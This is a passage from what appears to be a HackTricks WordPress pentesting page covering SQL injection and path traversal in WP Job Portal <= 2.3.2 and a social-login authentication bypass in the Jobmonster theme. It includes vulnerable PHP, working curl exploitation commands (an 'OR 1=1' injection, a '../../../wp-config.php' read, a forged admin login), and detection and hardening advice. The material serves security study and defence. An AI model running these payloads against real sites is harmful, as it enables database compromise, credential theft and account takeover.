### **Other Recommendations**
|
||
|
||
- Remove default **admin** user
|
||
- Use **strong passwords** and **2FA**
|
||
- Periodically **review** users **permissions**
|
||
- **Limit login attempts** to prevent Brute Force attacks
|
||
- Rename **`wp-admin.php`** file and only allow access internally or from certain IP addresses.
|
||
|
||
|
||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||
|
||
The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`:
|
||
|
||
```php
|
||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||
$inquery = ' ';
|
||
if ($category) {
|
||
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||
}
|
||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||
```
|
||
|
||
Issues introduced by this snippet:
|
||
|
||
1. **Unsanitised user input** – `parentid` comes straight from the HTTP request.
|
||
2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement.
|
||
3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
|
||
|
||
#### Exploitation
|
||
|
||
1. Grab a fresh nonce:
|
||
```bash
|
||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||
```
|
||
2. Inject arbitrary SQL by abusing `parentid`:
|
||
```bash
|
||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||
-d 'task=savecategory' \
|
||
-d '_wpnonce=<nonce>' \
|
||
-d 'parentid=0 OR 1=1-- -' \
|
||
-d 'cat_title=pwn' -d 'id='
|
||
```
|
||
The response discloses the result of the injected query or alters the database, proving SQLi.
|
||
|
||
|
||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||
|
||
Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||
|
||
```php
|
||
$file = $path . '/' . $file_name;
|
||
...
|
||
echo $wp_filesystem->get_contents($file); // raw file output
|
||
```
|
||
|
||
`$file_name` is attacker-controlled and concatenated **without sanitisation**. Again, the only gate is a **CSRF nonce** that can be fetched from the resume page.
|
||
|
||
#### Exploitation
|
||
|
||
```bash
|
||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||
--data-urlencode 'task=downloadcustomfile' \
|
||
--data-urlencode '_wpnonce=<nonce>' \
|
||
--data-urlencode 'upload_for=resume' \
|
||
--data-urlencode 'entity_id=1' \
|
||
--data-urlencode 'file_name=../../../wp-config.php'
|
||
```
|
||
The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys.
|
||
|
||
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||
|
||
Many themes/plugins ship "social login" helpers exposed via admin-ajax.php. If an unauthenticated AJAX action (wp_ajax_nopriv_...) trusts client-supplied identifiers when provider data is missing and then calls wp_set_auth_cookie(), this becomes a full authentication bypass.
|
||
|
||
Typical flawed pattern (simplified)
|
||
|
||
```php
|
||
public function check_login() {
|
||
// ... request parsing ...
|
||
switch ($_POST['using']) {
|
||
case 'fb': /* set $user_email from verified Facebook token */ break;
|
||
case 'google': /* set $user_email from verified Google token */ break;
|
||
// other providers ...
|
||
default: /* unsupported/missing provider – execution continues */ break;
|
||
}
|
||
|
||
// FALLBACK: trust POSTed "id" as email if provider data missing
|
||
$user_email = !empty($user_email)
|
||
? $user_email
|
||
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
|
||
|
||
if (empty($user_email)) {
|
||
wp_send_json(['status' => 'not_user']);
|
||
}
|
||
|
||
$user = get_user_by('email', $user_email);
|
||
if ($user) {
|
||
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
|
||
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
|
||
}
|
||
wp_send_json(['status' => 'not_user']);
|
||
}
|
||
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||
```
|
||
|
||
Why it’s exploitable
|
||
|
||
- Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action).
|
||
- No nonce/capability checks before state change.
|
||
- Missing OAuth/OpenID provider verification; default branch accepts attacker input.
|
||
- get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) authenticates the requester as any existing email address.
|
||
|
||
Exploitation (unauthenticated)
|
||
|
||
- Prerequisites: attacker can reach /wp-admin/admin-ajax.php and knows/guesses a valid user email.
|
||
- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
|
||
|
||
```http
|
||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||
Host: victim.tld
|
||
Content-Type: application/x-www-form-urlencoded
|
||
|
||
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||
```
|
||
|
||
```bash
|
||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||
```
|
||
|
||
Expected success indicators
|
||
|
||
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
|
||
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
|
||
|
||
Finding the action name
|
||
|
||
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
|
||
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
|
||
|
||
Detection checklist
|
||
|
||
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
|
||
- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
|
||
|
||
Hardening
|
||
|
||
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
|
||
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
|
||
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
|
||
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
|
||
|
||
Patched behaviour (Jobmonster 4.8.0)
|
||
|
||
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||
|
||
## References
|
||
|
||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||
|
||
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|